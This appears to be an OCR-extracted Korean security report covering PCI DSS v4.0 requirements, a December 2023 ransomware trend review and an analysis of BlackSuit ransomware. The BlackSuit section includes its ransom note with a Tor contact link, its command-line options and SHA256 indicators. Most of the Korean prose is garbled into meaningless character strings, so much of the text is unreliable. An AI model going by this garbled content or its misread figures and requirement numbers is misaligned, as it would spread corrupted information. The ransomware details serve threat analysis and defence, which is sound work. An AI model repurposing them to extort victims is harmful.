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PCI DSS v4.0 JHHO|l W2 ZQ HOH QARG 2

H

PCI DSS & 7t= AA| A4 9] dlolg HQF T (Payment Card Industry Data Security Standard) @]
ek2t2, Global Brand 5 7HAH(Visa, Master, Amex, JCB, Discover)9] 7t=4-#Ad|o]E (o]st CHD)
HSE s AA=r.

Global Brand 5 7WAR= dlol8 Hete] 2&2olal A<l )& i) PCL HetzE9 2] (olst
PCI SSOE A gom, Het BF e, PClL HeF BFE He &34 A%, 18, A 23 3

: 2] e
59| ggrs 43¥5tal gtk 2020 Woll= UnionPay & PCI SSC of Zolgto=zxn &) & 6 79
Global Brand 7}=7} PCI SSC of] #Fodsta )t}
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PCI DSS = A& 7I= A dole(payment card account data)E HI o=
gy 71%do] BlEYA BHom = AfAte] HolEE At A, HdE
PCI DSS &7F f°tdeh. =lellAs @A 7h=AL VAN/PG A Al
HZ2YAE —?33’3}1‘ 7195 Qole oAAL FEAL HAE T Odd dF

5ot E4, AL ek

PCI DSS += H]=Y
sulpel ug gs 55 %6&

A’ H|0|E{(Account Data)

>
_H
mhl,
=
=
. 2

7tE A8 Xl G|0|E{(Cardholder Data) QIZst Q1= O|0|E{(Sensitive Authentication Data)
7tE ®¥= (PAN) HHl E24 HOo|H (Full Track Data)
7tE 27X}t O|& (Cardholder Name) CVC (Card Verification Code)
F27|7t (Expiration Date) PINs/PIN blocks
MH|A R E (Service Code)

ZA: PCIDSS v4.0 A7Hs

E 1. A& 7= AA dlo]el(payment card account data)
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PCI DSS &= 27 Hlolelg Has] gia A 12 A9 1% 2 e a4 7122 ANk
oIe). 464 Ao] AR 27T 48 A0 HEo g ATHI lom, WA Mok RFARE ofefo}
ot

1. HERIR 22 Hof FX 42X A X2

2. BE A2HE Fd 240 Eot 48 HE
3. MEE AE HOoH E=
4

Mg S8 HERAE Sl BE5

rir

Sot Z Az e

—

ASXt 4O B3

5

F U™ o 5. 94 AZEQZEEH ZE AAHD HEQIE ES
Zz2 QX 6. OHHTH A|AEID AT EQO i Bl RX|
7. Y2 A 2otor g TR (need to know)O| [Hep A|AE MO A Ol
ZEst M2 & 7lE AQXt CIOIHO Cist M2 Hgt
X 7 8. AFE X Al| gl A|A” RN QA0 Cist 2 AT
9. 7IE 28X} HO|E{(PAN)O CHeH =2[H ©Z st

J |
10. A|AE QA O FtE ASX}F [ O|E(PAN)O| CHSH ZE
|-‘||E-?—.|EI_O'|| EH | :l'l' = |' T |’ '" | '|( )O” H

718 2HHE X HAE

@

1. A28 U HET0] ot tigt FIIHO HAE
Y2 20 M QX |12 £N FM Y T2IAS S Y = XY

ZA: PCIDSS v4.0 A7Hs

HE 2. 589 PCIDSS 27 AF&(Principal PCI DSS Requirements)

FA AL MEA AEstaat o= 719 E 7)EelAl folgt Algstazt ot A2
#A o] PCI DSS & ZA doleE g< aizor HGsty 4 Hob BFEo| HEse = sl
5

o =
e 7l A
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B PCIDSS v4.0 A€ Timeline

PCI DSS v4.0 2 2022 ¥ 3 ¥ 31 ¢ wrmeict PCI DSS & F46114F ol 7|92 2024 ¥ 3 ¥
31 €71A] 71&E WAG3.2. D% A HHEG4.0)S A=) A5S FHd 5 ok 2024 | 4 €
o|l% R QFE FEote Hgolle WIEA] PCIDSS v4.0 & #-g5to] FH|s|of it

chgh vg 9 @as BE 50 EAE PCIDSSv4.0 oA R dicko] A Het 971 £47)
o] 79,2025 34 31 7= Fol7|7to] ALEBg 2025 49 AR A8 SrotH
=,

infosec

Official Release: 2024'3 33 31Y 14 a0

o 4 39
Q5 A\l BA7} PCI DSS v3.2.1 ”ﬁgzs H_%; 9 3: =
Z3HE PCl DSS v4.0 ) 2 at

2023

oj2He| M2 2 2FArE 73

PCI DSS v3.2.10| A va.02 22| Mzt 7|7t

E: PCIDSS v4.0 At a Glance A7Hg

19 1. PCIDSS v4.0 A& Timeline
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W Fe HEAY

PCI SSC of waw, oW wWAASre e e A4 AAAC 200 A oA 2HozHE
6,000 71 olfe] mEH FFEZ yrop
AfQle] WS} Aol A Het &Ee A&A
z2 o] @A w2t A8 7hss

= e

N

A
T

1. &9 HH(Customized Approach)@ E4 9 EX(Targeted Risk Assessment)
Fal Qi

A WAe 71 HAG2ZDRE AL ARgEHolR AR WHwoer PClI DSS o4 HojH
QA HAE AE ARRSHE Aoz AolEl HIZW(Defined Approach)elztal ek o]
< BAE aFAEE S55h] Hsll Het BAE TSk, ®U7PRE did aFARel
H=A] Zelsty] flsf AolE HAE HAE wEg Zolth. whef, H=YA ASfARou
Al #AlR Qs PAIACR PCI DSS 84S S5 4 8lv 4% 9 a7
=

A FE5] &etsk= Al A HeH(Compensation Control)& 2-8¢ 4= Ut

ol

A5t WA (v4.0)ol A= PCIDSS & Fdsta AZsts 2 71x]9) AT HAlS AA|

T Wz @y WhHe gkxd HZH(Customized Approach) o2, Al HA(v4.0)o1A4 AEA

E
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A GE g4 A" 2 SAUE A" BEE FE55MEA SkIsh] %t ARt H)
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&5 HEW(Customized Approach)2 ZF 7199 2He] o= FHASE Heb A4 #¥S
Agotl Hrkstr] st AAHQ HAE HAE FESHE ZAoR, ol HEsh= HAS ol
MNEFES FEEoF ot YAISEL Qi (PCIDSS v4.0 871 12.3.2)

® Appendix E19] EQF 5A4] sfEE A ®HIE3lo] (AH BE JRHE Fgote] ZF g5 B
oF Ao Hgt S5 EAIske #-A

® Appendix E29] thA 98 E4 HES] AAH BE HJHE Zgolo] ZF U5y Het
Ao thst EA 98 EA(PCIDSS QF A} 12.3.2)2 435l FA35}

o 7} gtEq HtF SAol tigt HAEE 3ste] a8de dASsh I HAE, Agd
9, H2E i, HAE 3 Al7] 9 HAE ZAiE Bt 5] wjE A FA5}
o 7} gt=d Aol masdel digt TAE EUHZS AL {4

Appendix E1 3 E2 &= PCI SSC of|A] &gt 54 ME A=o|™, PCI DSS v4.0 54 A A4
SkQlo] 7hgstry. Appendix El 2 "9Ed A (Customized Approach)2 F3dl PCI DSS

QNS F5T Ae 714 I—EtLﬂloﬂH A8 Bet S ol dis) Zdshor ot EA]
EESU=
HERE Fofl o] aEHe FEE ohe At

o AAE HF A HHE Bl 55 PCIDSS 87ARS ®T

® 7} PCIDSS {FA}e] 24

o Agd Mok EA WY A HE

rE
—‘-l
(o]
Wi
oo
2L

vOEA g W), 91X, wel 9 mUH Hela, A

S Het FAZE o8 PCIDSS 74| 522 SEA7I=A diet 49

T

v

)
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Appendix El ®HIE3-2 5] %=
A7 dlely Heto] dmpt =
Appendix E2 & Fdf| Algstal ot 2 W82 offel Zo

® PCIDSS 87 & 27ARY 1| S5 Al AG=Ee s 24
® Ao W (Defined Approach) #-go] &7}t A

o
o
5 (Customized Approach)& & 285 Het SAE HIF LR oA &

° 133
NI & YA A
° Hgd 2 98 g 2 Qe B 4

o HolH HH(Defined Approach)d}t Hlw sl ofd== njsfe] ¥y ¥ Hst HE

2, 29 A4 doleo] g Ae <, A BAA A A BE =

e, PCI DSS v4.0 ¥ 7|99 @75 wah PCI DSS 9] ZF QAo o=t gojH
H (Defined Approach) Ei=, %59 ¥ (Customized Approach)-& AEiste] AHE3E 4= Qlrt.
% W (Customized Approach)& AHgSte] ARgA Ao Hob EAES AET A9,

1Ao7 BA Aol U3t A 9 B4 5 2 ] YRt 591 gEslojof Firl

H
1
[
==
=)

IR X ofN
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infosec

o Y I
A 4

PCI DSS 8 TAreH0|| et
i 758 ¢

PCI DSS 1At S 55T += 8l

S0, 2 M2tE 7| 5A
Atei=l Hioko] ols A2

ChH S4| ot 73 o 2 As)

A 4

HI}AH= peipss HIAE Hijof
k HAE = HI S 53l

&4 PCIDSS v4.0 A7k

1% 2. PCIDSS A4 T F(PCI DSS Validation Approaches)
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2. PCIDSS v4.0 o] &9 WA A}

ooz At HAGAO F7F Ee WAH EE aARE e g2 ol
HAGA0)NME= F 464 o] AFRAT 48 7 FEom olfolA vt 84 T, &7
ARG 59 olfrE old HMA(v3.2.1) Hep Afad

MEze AdT 71, dsiske 24 A9 HekE Wgs) o= &
Ee A A

® 1= AA do|&(Account Data) ¢33} 27 73}
v oHy2sd B gEA 50 d88hs olFA HAHo| gHdste] 58
o I/E @ ofEACIA Y AFS HA WAUSE A&
® ZA mo]A] Het 7Fu}
v AA dojx]eA A== Client-Side Script ¥ 733}
v AA oA Mz A7 wAYE A&
o AAEl AHZ ZT BE AREA A Uit A E% HE
o 29 oo AR AE

A AFH WAUS 48

® /1§39 HW, SW 2 @58 ¢uelZ So] tfat EoS, EoLS B4, theAs 43
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D 7t A7 dlolg 9423t a7 Z3HPCIDSS v4.0 871 3.5.2.1)

PCI DSS v4.0 FEl= 7I= AA dHoly dest A% A, ted o9 Ee Had &9 dosts

o ol Aot WAYFeR AASHA| =t o, ol54] Het USB eF Zo] OS Level ¥ E7=

AT HAE a4k Aeole s8ste Ut @2 7IdE0°] Tablespace @9 42sl, E&
%

[e3]
H
A 9 dsstE AHEotn Qedl, Sig 8] oFA a=o] WA¥sh= 2025 W 4 ¥

nhe] 4
olFrE F714Q tole BT xA7} Wasith oy ®u 2AE a7 351 of teat 2ol
EREERC

® One Way Hash Algorithm #-8(=3r §jA] s 48)
® Truncation(PAN 162+8] & YHEE vpA7] H-goto] A7)
v' Truncated PANT} Hashed PANS Z-& 7o A& &34

® Index Tokens} sto] A%

2) 349 4 ASeAolH B A5 FA HAUZ HPCIDSS v4.0 27 6.4.2)
PCI DSS v3.2.1 7HAE 3705 9 ohZeAlolde thgo 1 ol & Wu a5she 9 ok
A e Ee 9 U A58 24 g4 AAUES A8stEs aTgon, 47

H(v4.0) FHE AHEs) HA vAYES AdF4er a5kl Q.
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3) AA Ho]x Bt Z3HPCIDSS v4.0 &7 6.4.3, 11.6.1)
AA) Ho|x|of] §A3|, PCI DSS v4.0 o] MEA Z=71E 8 AF o,

® ZA| HoR|o] AMgE|+= Client—Side Script =5

ra)
o
o
—
'\<>—A
jg
my
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o
oo
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o
il
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oo

+ Client-Side Script &
|3} o, BE—@ 1= AA 9ol (Account Data)’} 214

4) A2A"l AAS ZESH BE AR AR o HT A HEPCI DSS v4.0 97 7.2.4,
7.2.5.1)

A2 AR B Aol Bhel A4Sl AgAt ARl Hu 7 2
oo BelET ek o Y AgATE B8 Ex BA 05 Fof o ol A8 9
AT P WEE A9 Wk ER ALG ARY A g4d kEAA Ex WA
2AYE So AFHo] @ PN A9 WA Pt 39 B

)
i
i
2
2
o
=
o
o|»
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1 H9R AEE L£dgoF sttt Est A|AHE AAo| s EA Y

—

=]
Assessment)2 59l 7|4 WA AgE 7|7k 2 At AES A2 a5ty Qi)

1 jquery: § ZZEQIE FofolA gro] AEE EAal glo]H g
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5 49 & AR HE A AF3E fAHAYE HEPCIDSS v4.0 27 10.4.1.1)

71F PCI DSS wzFe oju] QlF WY W HE ALy #4840 fARIS digh dd
RUEY QAR AL dsled, RUEE Aol His) AFASd Fiel=E AASHAE

ok,

JEt A2 RUEE el Hk Axgel Sob @ARI oldd] wel, Alge] SEoR
2 =257 o9 Agolet. olo] Al Bl AL
& avstn gtk

7Fesihd, EYHEE sfof & Hdol tisl Rule-Set FEiz HES AHT 5 o] bt o=
RUHy & o Qdvks Aolt. olE &8s 714

oot 2Hsekd RUYE Y B Welehs g9l whet

St

s flo
=5
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o
@
o
N
1
o
o
il
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o
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2
ol
=oé
(0]
9,

6) YEYA FHoFd 20 A Q1FH A7 $3H(PCIDSS v4.0 274 11.3.1.2)

N

olu] 7]& PCI DSS HHoA HEYZ 7]9te] FHoby ~A78s E718& a5kl Qlolew, B
71¥4e] Nmap Script Engine(NSE), E1= Nessus, OpenVAS ¢} 22 Tool & o]&3] FFd A7
85kl Qllrh. 12U Remote Host oA 4389to] wet ZF AlA"o] A2 Sl AH|A(Port
Listening el 2] AJH| )0 tisiAgh AlRtA o= Foky] Aol 7Hastthe= HAIZF AR

PCI DSS v4.0 A= of2ljt tAES =53] flsll 7189 FoFd 270 ZrA2o A<

2716, 7} AAdle] @2 gl AHIAR ofet BE ARE ek Fokd 202 aTel gtk

ol Fo¥otd 7|E9] e A o] JISAHEE vg Yot JAFH AWS YT £
Qo HA FAHE ALY wgko] wep ol WA 5o fdo] AEHER, ZF AAH9)
nE FHeEHS AEdts 548 S50k a5y A2 (Customized Approach)& A-85h= F0|
o U2 tfgto] = 4 9tk
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7 AHES HW, SW R host gaie]s 5ol tiet EoS, Eol 5 =A%, t-eAE 4H(PCI DSS
v4.0 871 12.3.3,12.3.4)

PCI DSS v4.0 o4& wid 71802 15 HE WofA ARgsk= HW, SW ¥ 53 dare]&e
TFS motsltal A2 EoS, Fol HE ¥ 43EE Abg Rt 59| oMlE Wy Al A A&
7

YA g7k et

_1

T8l s 1A ZEAE 59 gsAYS sl S
SK dgA7F tpd7r o 713 A" Ti= JASAAE s A, of . W2 7oA W=
ot5 sl et eE]E Fos, EolL AEje] HW, SW &

re
Bol ARk gl AoE sherg,

Qucth 4ol dis) AvbHoR Bga] AL dF A AR AAIS) seksta glojol
gtk ees] 4G 1P, OS AR AEE 7S84 Aol ofet 2 AA® E AHEHE AMA
g2 ER WH AH, Fa AR A%, 94 Ae] AS¥E 4us ZRE2 9 duds 52
A Tote) At ARG Pejsor e

EQST insight | 13



[e]
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A7k PCIDSS v4.0 7H¥ o] g F8 WH-gARgol disf ottt

PCI DSS v4.0 2 MZE 91 7|&, 2A 4449 #sE qtgs] 23 A (Customized
Approach)¥ 5% 938 EA(Targeted Risk Assessment) = 53l 2 7|99 7o W= Het
FAE Y & IEE A8 AEAte 54 AdHh

|
=

o
ol rE

sleztelelde 45 |

A&

3 F7bE 8ol s oA, PCL DSS vA.0 ZAH <]
& ARE Bo) g1l Fpssich
® PCIDSSv4.0 A 874 rE

— https://docs—prv.pcisecuritystandards.org/PCl%20DSS/Standard/PCI-DSS-v4_0.pdf

® PCIDSS HEAR) gofat=
— https://docs—prv.pcisecuritystandards.org/PCI%20DSS/Standard/PCI-DSS-v3-2-1-to—
v4—0—-Summary—of—Changes—r2.pdf

AP EQE A 1 BA 5o o]F& PCI DSS v4.0 915-& &Hl5t7] o8& 3¢, SK oA
MDR AH|AE 8-ttt PCI DSS 50l ==l 8 4 & Zolth. Mz FefdEol F&3]
TAHL Qe wE vIE, A dolEet 2 14

At ZIhelMe AR
RUE P Z71AQ] o] HAE, Het H 5= sfo

=}
N
N
st
o
[
il

#
rot
-

SK 4t~ MDR Au|AE 71&d TgAA AR 24 52 26| 24x7 918 RYHH, B4,
AL g 9 BIE AFstke TESHE AfolH HoF MH|ATH ES] HoF Y-S Aoz
A5k A5 e AAS B85t glo] AT PCI DSS 9128 %8 2~ Q& Zlor}

=
SK 4el2k AT 5F9 Aol] Mot @ 449 AE/ME BRI glov], TAK 540

p o O
il

St

%S 1 — O LS
WEP AUAE B O ASelds RTAGS AUk BAT AT gL K Ars
34 BRIE S FAT & ok
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Keep up with Ransomware

X4 &= BlackSuit 2449101 ®
m 2

2023 9 12 4 9o 3ACR A% v Al T Aes WLD497 ) diH] oF 15% HAagt
420 Aoz yEpgTh o)l Hoe g2 Aol olpEo] WA=, AT E FET ol
fEA Q] RaaS(Ransomware—as—a—Service) 1&%] BlackCat(Alphv)e] iAo <lx=lr FBI
oA Fxof o 4 Fi T3 Aol BlackCat(Alphv)2> A AlAAQ] o2 EA|1l Q=
Aol IF o2 B4 Colonial Pipeline = FAWE Darkside 7} d4lolt} o] 1

de 7199 713 e R dolHE ZF6igter, woAE=Fe 23t ®MF #9423 9
G (@3t oF 3950 & Dol o] &

FBI + oyl 34 222 F8f BlackCat(Alphvdl YIEQZL 9 }a9 AfoE AHE 4470

o F ALgHs WHYle] BEsh 712 SR} 0|24 BlackCar(Alphv)©] A0 Hshe

9400 ©f ] SHL 9 WA SO Fa )4 AMelA B Fel o 6,800 B L(§H5} oF

886 o W ABskA GnE Bl el WAE QAW AmHE =By & 9 Ak

a2} BlackCar(Alphv)e o8 wé 52" BAlRkR Fgete thag §% AolES
=) A o

oF 2 WISt QutE toRE TA 5
ot ]

ot ok L

koo o

AUth= 22 AAISHL At

&, BlackCat(Alphv)o] ol#l€g AL ¢t & o2 Fq dHAHYo] I8 LockBit ©]
BlackCat(Alphv)©] AGAte] LockBit ©¢& FHT AL AgHE AHsjo] stelmlith AA R
BlackCat(Alphv) 2] 32 AHE AXRHE 59 oAUz & =7} LockBit o] thA g Apo|Eo]
FTEH71% gt BlackCat(Alphv) 152 | A 155t LockBit o tigh HAFE BdcH=
AXNZFE& XSS(Cross—Site Scripting) ZEH 2o Z/JFct. LockBit E3F 7128 JAJo] HaAs
AEshH U] HAx|e} do] Wastrtal ARt

2 XSS XY 1 A7 BTE WA B ARE FIWE ohEs] 29
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infosec

) -> Diablo 4210, Z2g Sofl 5% 5

h

() ¥ AAZ0IA = Baeioio] SHOj Chsh LSS0 +20f et Windows 219] AILHE X2 bSEE AA
R “Raas : ME|2E BEYO . FHHC TS0 ATAY FARAA C7hE B2 BEYCE ASHFE we

) | -> 0|22} E[ZIC R F5 BIG-IPS APAISH T| 4l 74|91 A48

“wiper - Tt 2 HI0[EHE Tj3sts AYI=

a9 1. AHA TF
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New ransomware variant

Medusalocker : doctorhelp, .bulock16
.cipherd, .lock3, .rapid3
Stop : .nbzi, .nbwr, .hhuy, .hhaz
ljaz, ljuy, .cdmx, .cdqw
Chaos : WANACRY, Astra, Pirat, .funny,

infosec

Babuk : .RAWLD, .bot
Dharma : .intel
Xorist : xro

Makop : .chocolate
Proxima : .Tisak

o BlackCat(Alphv) )
or=re
o ED»

22\

Phobos : .GrafGrafel, .elpy, .HuiVJope

New ransomware & group

MalekTeam, Raznatovic, DragonForce, Werewolves,
Tpre, Live Team, SNet

2O

OINNEDD -~ (I

OLIIDD
.
OIZEEDD
DD

(v > 4
OIS
(e > 2
OLEDD

a9 2.202349 129 M0 918 I%

M=z A9

12 9 AEA $dad A S#-del 2FS2+ Malek Team, Raznatovic, DragonForce,
Werewolves 7} Qltf. Malek Team -2 AuA 4 AtolEe} HE|s HdS Y5t loH
AASE AolH] 7 Hote] TR "oz el Yok oSS olastdel HeAT AZUAE
Eapet 5 1 24 ol BAE AU 22 ANBOD, o F UL 52 dolHE EeH
Aow szt

Raznatovic &] -9 RansomedVC 9] ARE

Sl

J%o]t}h RansomedVCE 2 10| &

[e)
%____

7RAIE A (Sony)E 5H7]§EE]'J_1 FAeh FEEe fliddle] OFelnh olg2 EE A A
Folgk 200 ool IS FHI o|d& HFSIAL Uk e AT o] AlAbEAE
=9 Ao UHE ZITH 2}—73— JIEtE wtiths 25 ZEHo ARG & 6ol ARFP o,
olg]al w|&gt AGAF 31§ 59 olf=R AR o]l%, AAEE  Ransomed.VC  aka

Raznatovic’ @t A7f5h= 180] &%

Ao ZA4gct

JRAIRE ASR Kol Raznatovic 7F QIZaHE Lufeh
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Werewolves T1E2 574 olF A ¥2 +2de Holi gt o] 1AFo] ¥ste Ars ¢
ARlEC= 23 v He 2A9 HolHE ZHIAHY Fske 29 4% f= dHolHrt
AT, EFE Afe]EoA =

aneQe] FHoFH, Tor EHepeA HFH T2 ARsk AolA o 100 v L@} oF
13 9] 2000 WD) 2] @& A=edrtal BAEAL Atk

x
[
o
z
Mo
ﬂllﬂl
2
lo
ku
=
o)
ol
o,
k]
30
o
R}
©
>
o
m
b}
(o]
S,
2

Chaos &g glo]o] WMEQl Astra WAAG e TATE Chaos = 20214W 6 Hof] A& AR o] o
Ho] SAR e, 3 7] Zeof Uert 5‘3‘7HQ°1 %E;G E]'Tﬂ' ]E o8t ME2 o
AAFsE71 & it o]% Yashma, Onyx &

F2 moiE YAAN77IE Fet ofHo
AES 2 1td& 4§ slsial s 7]E RSA
ool Qlof St

© W uhe 7199 AXEGolt A2Te] et HoPES Bk ol el Bge AT A
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infosec

BlackCat{Alphv)
Et2! 37t

N -
N -

Werewolves

N -

£ |s.o2 = NeuygRie @ AU 2AEYRj0
) casfitcs () BE:®rlol S ES:Amel

() FRo =22 g RU:BAIO}

& Uk = & DE:sY

a9 3. AQ/=70E 2 HH 34 %

12 4 7V g2 golg 2AAR 4ol IES LockBit ot LockBit = =Y oyz]%Ql
Dena °f tisf &4< FAAGIL F45H, 12 E 26 A7HA] @4l S5HA = Al dHolHE
FEAZIATE F9 22 AASHIE Fth Dena += AolH F70] Ql3irte AME2 AT
A= et FAAA] HshME Bl A] ettt EE, LockBit 2 BlackCat(Alphv)e] =%

= 71912 4ot BlackCat(Alphv)o] 7E=t g1 AdAite] dis) dd= Adse Ak AA=
71%& BlackCat(Alphv) Ato]Eo] I® Dena A&7F LockBit & AC|EC|= AAE wet o] A%
AL EAShE Aoz Held.

Play @i glol T5-2 2022 @ 6 95E 10 & Atolo] A A|A oF 300 7§ 22& FAFSH, 15
URE= =7F 58 7|9k AdE ZFE ] glo] Ade] & S PAbote IELE dEA Qi
ol QIs| X FBI + m[=9 AfolH HSF 9 Qlxmet HOFR(CISA) H &5 AfolH HSF
AE(ACSC)eE &7 Play ol tisll 7 ilsk= ghs AtolH] Het AN S HHES7|E )
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BlackCat(Alphv)-2 <A $AF 7] Fx2=2 Qe lxe} #Hfel B4E yhEsty Qioh o5
FBI 7} flZ2te #HaAZleole tAlg Q1ZetE E16kal FBI o BHEsHre AdEs Arth 9

XSS ZFolA BlackCat(Alphv)¥+ LockBit = A 7IE2ES FASoF Sth= tH3hs
T o 5 8 AV FAE sk A, FAF 713 BAHE =97] Y8 ol da} ol

Fa
Judg 448 AD FHE 9t

Sbase WAl THS 2023 W 5 Y AU §E AO|EE AUF olF TES) BFL ololkn
It} o5 Phobos BAACIY) WEL Bgo FAL S5k n k. 53], SmokeLoader' S 5
PHFANE FESPAL UEohE BHANE 28 AA] Pl A2BE FYALL o1

o Frrple 73y

=
e,

=1
SmokeLoader + F2 T4 WdE ol WlZEDZ EX7F 2R3t o
7 A

O22Es A9t g9 A9 As dFTH

Werewolves = 12 gofl ME7 FAHE Ao TFolth o]E2 LockBit 3.0 fHAet F&4
Conti & o7 =FES AHES] HRt 55 AHIAE ddoE 34 8cta Qi o= <
23 7o) zxAo] 4 Hetate]|EQl Tlo|HE E¥Iote HOE Atk 1% 16 JH 71
g Aol tiAto 7 488 FAolth EFF LockBit 3.0 & AMESH= At LockBit oA AAISH 8]
ZAi} 6 0] AA= 5 LockBit o] dAdAlo] A7 k.

O

==

7 SmokeLoader : ZEHE A|AHof T2 APIEE 2R ESHE H AMEEE I E
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BlackSuit sl &

BLACK SUIT

£ BlackSuit #Ad9o] I1&F thZY & AlOlE

BlackSuit+= 202343 5<
o

Linux & 2% EZlo=z % H E%}E— Q95t= FAlOl HelHE %0]'33111]'1 Futst= o]&

BlackSuit ©] #4191 Royal & 2022 d 6 Yol &%5-2 F2g Conti A7} SiA= T F FHof
e Aol Igelth S8 o= 350 A7t He ZA wis) d

2E@EE of 3,627 of ) AFe FdL a7 Aoz gEplon,
dlole7k AXE 2AgE s 200 7R GAE Aslgth olg% A4
Royal 2 2023 ¥ 5 9 m]= dA AE F2A3 H=

AR B Holdy A= 10 9ol AFE A= A

=
o

o
w
=

f
e
o
ol
)
=
=
ol
ftlo
e
o
30l
)

BlackSuit &= mA] Hjde] HEntel EHE U Alo|E, b4 L1

2 A7199] §% HlolHE BAoRe Aol BT AYIS

AAF A wa e mAST QB n7e] AR GEE ALS wHc. T
A9l B2 olF AR AR A A4S AHE T :

olME FEH MAFEE Tof HAolt AulA 59 2 A syt AT 4 Qlo] ZhEs] o7t

1 a5,
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infosec

BlackSuit Ransomware

g2zt 7/

[ AES-256-CBC LM2|ZO2 N US3IE 31, i 7|12 RSAZ HS
N AES b
< .8
Encrypted

File
| File

-

e kot = 55
OFS B HFA/ oY 37| 256KB Ol : T 3712 of 10% LH22 7HEH Yot
= -7

ot 37| 256KB O : It | =3t

-

A|AEI B e
ol X} Th i HE 0ls g
=
=%
AES & RSA Royal
orss ajee || ZEIRAE
A=t [2g

~

-
| () README BlackSuit tet - Windows 2% - o
| BEF BTE MY0) 270 E&EH)
| Good whatever time of day it is!
| Your safety service did a really poor job of protecting your files against our professionals.
| Extortioner named BlackSuit has attacked your system.
|
| As a result all your essential files were encrypted and saved at a secure serverfor further useand publishing on the Web into the
| public realm.
| Now we have all your files like: financial reports, intellectual property, accounting, law actionsand complaints, personal filesand so
| onand so forth.

HELE :
|We are able to solve this problem in one touch.
| We (BlackSuit) are ready to give you an opportunity to get all the things back if you agree to makea deal with us.
| You have a chance to get rid of all possible financial, legal, insurance and many others risks and problems for a quite small
| compensation.
| You can have a safety review of your systems.
| All your files will be decrypted, your data will be reset, your systems will stay in safe.
| Contact us through TOR browser using the link:
http://weg7sdx54bevnvulapqubbpawztryeflg3s23tegbmnhkbpqz63T72yd.onion/?id=12345678912345678912345678912345

! Ln1, Col1 100%  Windows (CRLF) UTF-8

. README.BlackSuit.txt

HE 2

.BlackSuit

1% 4. BlackSuit WA o] 7o
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BlackSuit o] A=k

infosec

Execution

. oY, EME, ofd WD E0= HjE
Discovery HeEatolg ArBal ot Hel MY
LYo M~ HA
MAE HH HE A
oY W ClAE2) T

Hlo|E| 53}
Al2E 57 4 HA

1% 5. BlackSuit o 54 H=F

BlackSuit %’HOHOP: 7"“:]-‘4'0]01] aJHO]o}E ;(—11:’0].7%14- %/\"010-]7]- /ﬂoﬂE]ﬂ] 6]-_‘: DHE’_E%

ZOFE A TdS FEE o A A AR RE2A A ot 34 JPeiTh EI,
oty Fal 5 I FAO) AseR Aol AR EE AlER groldE EHAY TR
Fefo] I EE Fofl AAH7 = o o7t 2 gojch
i Aol ooFet 1A AES Foll A HOlE g Aor Holw, EF At
Admz] ¢tom dTsrt MY 1 FA| Z2AAV FREEE AAR o ol ©X
23] 2 BA sfo] auE k@l Zlog EAMHTH
QIX} A
-p {target path} XE8E 2o LHET =3t
-name {32byte string} 197 ID, MEEX| AS FL ZZNA T2
-percent {0~100} L2o 2= X[F
-list {text files} A2zt o [0 ZME BHAE O
-delete N IS
-network HESI 37 A =3t
-local 24 AMAH Lot
-disablesafeboot ot mE HE H|gdzt
-noprotect FEA MY HEdst

B 1. BlackSuit g o] QA+

BlackSuit 9] 12} &, £3] FH5oF & QA= -name ¥ —percent Tf. A2 ATHE % =3
Aol AE W —name AR} @A HEEHLE= 32byte 0 EAE2 mEiate] 1 ID 2
AR AL Eo| Z|ZH ek qroF o Q1A AEE A g A ZRAAT —g,—iﬂtﬂ, Sl
oz} Zte ©ed] woiAE AlEsty] 9t o ARREo] 32byte EAE FHW APEW
Ao Adfo] 7Hsstrt,
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-percent QA A APHE A4S FHA GBI F=E AHT 4 v, 256KB o4
stgel o rEHel o

mlo

1o

=
fost WAlE AHHS BlackSuit &= —percent A7} HEEZ] ¢
oz 7h=ste] mel F7]9] oF 10% THelZ 718 A ol s sl

!
ar X Original File Size
N = () x ( 100 )
[BlackSuit &23} 7 AAHA]
® N : 7HdA <55l AFEE HEOlE &4
® X : —percent 129} &7 HLEE <o 7t
° At Ne HFHo= 169 Wi ghe Y

BlackSuit = AWE 2491 ¥ A4S F8 VSC(Volume Shadow Copy)*E Quiet L= T 52}
REA A AT A2 B 4 G sheck o) ol ¢ RER 24 wa)
B FAS ARgots AE =7 A8 safeboot &S AATH o] Aol 32Bit
L2 IHol AT, 64Bit o] A= VSCE g8 H+E 27| 95 64Bit o sigdsh= FH ok 7
AYA 71 LOFEFS Kol k. o2g FPEo] AYsy w1 FA AFHI AR
Ejo] ARGAE ol A& He 4 glo] Wl SeFAor G .

8 VSC : Windows A|2gloA ooyt EH 9] wie] ALZS At §A|sH= 7]

o= o O S

ol
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BlackSuit o] -t

infosec

Execution

ASR A& X3l °IH*E'|-- @2l &g
MYE 23 EQ HPS=8 FY 2F

Discovery ojaAze u;:ﬂg AV AtROZ 2|

Yo 7|1 Y| ERM ASE S
ot e xpgh

.,.
T1057

Impact

el 7|4 Bx| FEM AL
oy W2l Atet

njo
ofm
o

[Tis0 )
BT

BlackSuit i go19] AYAEL HHFE ALY 7|2 7G5S oFEotEE ATIYA 7]§ke] Het
EFANAM= At ARl ofHE AUtk ol EAE eidstr] s W INte R
gxol= Hot &3 42 AFESIAY ASR(Attack Surface Reduction) ® 2 EASIAZITHA
A =

WA o] ofsiAl A 4 9ot

7
b

7]
}2 o

A2F 712 75 olARE v

olgfgt Alo|A9] Mol FART Aol FdE WAlsty] s exof st bt HARR
HAE & e TF 2 FEYEY B 94 AE A% wsS AYste T Rl
Z st

E9], E4E ¢ & §le oMYy HEoYE REESHAL dolEe 9], fEeAlAY] FA
Buo]z]7} ofd FoA ThERESHAU HHPlEE 435k Y, FHkt  AolES 31
uE E€ote 59 W9 T2 ZAGHoF gk Uil &2 ZAoA HE Q1A AnE sl
TALEANA olEe FeS AT AL AV W19 7 e HATE F U

ot
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l—" Indicator Of Compromise }—l

® o

BlackSuit : SHA256

90ae0c693f6ffd6dc5bb2d5a5ef078629c3d77f874b2d2ebd9e109d8ca049f2¢
1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e
449df90b819d01d290d218929bd33ee24941b3e6c00cdedc0e6f2714aea8460b
feced22ef920c40e032e12b9eb315591a7bbadcd371453c7d2fa08e2c8972aac

= y

File Name

sys32.exe
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URL : https://www.bleepingcomputer.com/news/security/fbi—alphv-ransomware-raked —in—300-million—

from—over—1-000-victims/

URL : https://www.bleepingcomputer.com/news/security/how—the—fbi—seized—blackcat—alphv—

ransomwares—servers/
URL : https://techcrunch.com/2023/11/15/cisa—fbi—royal-ransomware—blacksuit—sanctions/

URL : https://www.bleepingcomputer.com/news/security/lockbit-ransomware—disrupts—emergency—care—

at—german—hospitals/

URL : https://www.resecurity.com/blog/article/Exposing—Cyber—Extortion—Trinity—BianLian—White—
